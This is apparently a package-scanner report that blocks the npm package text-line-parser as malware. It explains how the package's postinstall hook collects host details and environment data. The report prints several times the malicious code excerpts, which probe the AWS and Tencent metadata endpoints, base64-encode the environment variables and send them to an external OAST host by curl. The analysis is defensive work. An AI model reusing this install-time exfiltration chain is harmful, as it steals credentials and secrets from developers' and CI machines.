text-line-parser: Credential exfiltration – npm package blocked

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

The malicious behavior is directly reachable at install time and has no package-related purpose. It combines host/credential-context collection, metadata probing, and external exfiltration.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Installing text-line-parser@1.0.0, which invokes its postinstall hook.

Impact

Exposure of CI identifiers, environment variables that may contain credentials, host/process/network details, and cloud-metadata reachability.

Mechanism

postinstall shell-based host/environment reconnaissance and HTTP exfiltration

Attack narrative

On npm installation, package.json launches postinstall.js. That script runs shell reconnaissance, including filtered environment variables and CI context, encodes the results, and sends them to an OAST domain. It also probes AWS and Tencent metadata endpoints, consistent with credential-environment targeting.

AI rationale

The malicious behavior is directly reachable at install time and has no package-related purpose. It combines host/credential-context collection, metadata probing, and external exfiltration.

Evidence

package.jsonpostinstall.jsindex.js/etc/resolv.conf/proc/1/cgroup/.dockerenv

Network endpoints3

pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$datametadata.tencentyun.com/latest/meta-data/169.254.169.254/latest/meta-data/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs `node postinstall.js` on installation.
postinstall.js invokes `child_process.exec` with a shell command.
The command collects host, user, process, CI, network, and filtered environment data.
Collected data is Base64-encoded and sent to an external OAST host.
It probes Tencent and AWS instance-metadata endpoints during install.

Evidence against

index.js contains only local color/number utility functions.
No legitimate parser implementation or package-aligned reason for install-time collection is present.

Behavioral surface

Source

ChildProcess

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.63 KB of source, external domains: 169.254.169.254, metadata.tencentyun.com

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Command Output Exfiltration

Source executes local commands and sends command output to an external endpoint.

postinstall.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> postinstall.js L3: L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5:

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

postinstall.jsView on unpkg · L3

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

postinstall.jsView on unpkg · L3

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

3L4: const { exec } = require('child_process'); L5: ... L27: // 云元数据 L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)', L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)', L30: // 完整 ENV（排除噪声） L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np... L32: ]; L33: L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`; L35:

Findings

2 Critical4 High2 Medium3 Low

CriticalCommand Output Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processpostinstall.js

HighSandbox Evasion Gated Capabilitypostinstall.js

HighCloud Metadata Accesspostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

text-line-parser

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Source & flagged code

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

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